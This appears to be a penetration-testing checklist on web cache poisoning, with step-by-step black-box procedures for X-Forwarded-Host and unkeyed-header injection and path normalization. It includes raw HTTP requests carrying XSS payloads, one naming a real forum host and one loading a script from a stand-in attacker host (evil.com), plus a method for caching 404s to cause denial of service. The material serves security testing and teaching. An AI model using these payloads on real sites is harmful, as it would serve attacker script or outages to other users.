Web Cache Poisoning

Check List

Methodology

Black Box

Web Cache Poisoning via X-Forwarded-Host Header Injection

1

Navigate to the target web application and identify whether the application reflects the value of the X-Forwarded-Host header in the HTTP response

2

Using Burp Suite, intercept the request and inject a malicious payload into the X-Forwarded-Host header:

GET /?xx HTTP/1.1
Host: meta.discourse.org
X-Forwarded-Host: cacheattack'"><script>alert(document.domain)</script>
3

Send the request and observe the server response to check whether the injected payload is reflected and processed in the HTML response

4

Then verify whether the HTTP response is cached by the application

5

Send the request with the same headers (Request Start Line, Accept, Accept-Encoding) and access the cached page

GET /?xx HTTP/1.1
Host: meta.discourse.org
Accept: text/html
Accept-Encoding: gzip, deflate
6

Observe the server response and check whether the injected payload is served from the cache and executed for subsequent users

7

If the injected payload is stored in the cache and executed for other users, the vulnerability is confirmed


Web Cache Poisoning via Unkeyed Header Injection

1

Navigate to the target web application and identify whether the application uses any form of web cache such as CDN cache, reverse proxy cache, or browser cache

2

Send an initial request with a harmless parameter to determine cache behavior

GET /?lang=en HTTP/1.1
Host: victim.com
Accept-Language: en
3

Observe the server response and check for cache-related headers such as

Cache-Control: public
X-Cache: MISS
Age: 0
4

Send the same request again

GET /?lang=en HTTP/1.1
Host: victim.com
Accept-Language: en
5

If the response now contains

X-Cache: HIT
Age: >0
6

This confirms that the response is being cached by the application, Intercept the request using a proxy tool and modify an unkeyed header or parameter that may be processed by the application but ignored by the cache key

7

Inject a malicious payload into the header

GET /?lang=en HTTP/1.1
Host: victim.com
Accept-Language: en"><script src=//evil.com/x.js></script>
8

Send the request and observe whether the injected value is reflected in the HTML response

9

Repeat the same request from a different session or IP address using identical cache key headers

GET /?lang=en HTTP/1.1
Host: victim.com
Accept: text/html
Accept-Encoding: gzip, deflate
10

Observe the server response and verify whether the injected payload is served from cache to subsequent users

11

If the payload is cached and executed for multiple users until the cache expires, the Web Cache Poisoning vulnerability is confirmed


Web Cache Poisoning via Path Normalization Discrepancy

1

Go to the target site.

2

Intercept a legitimate request to a JavaScript file

3

Replace forward slashes with backslashes in the path

4

Add a cache buster parameter (?test=123) to avoid affecting live traffic

5

Send the malformed request multiple times until cached

6

Result: The 404 response gets cached, causing DoS for all subsequent requests

7

You can use double slash (//) techniques or Unicode characters


White Box

Cheat Sheet

Last updated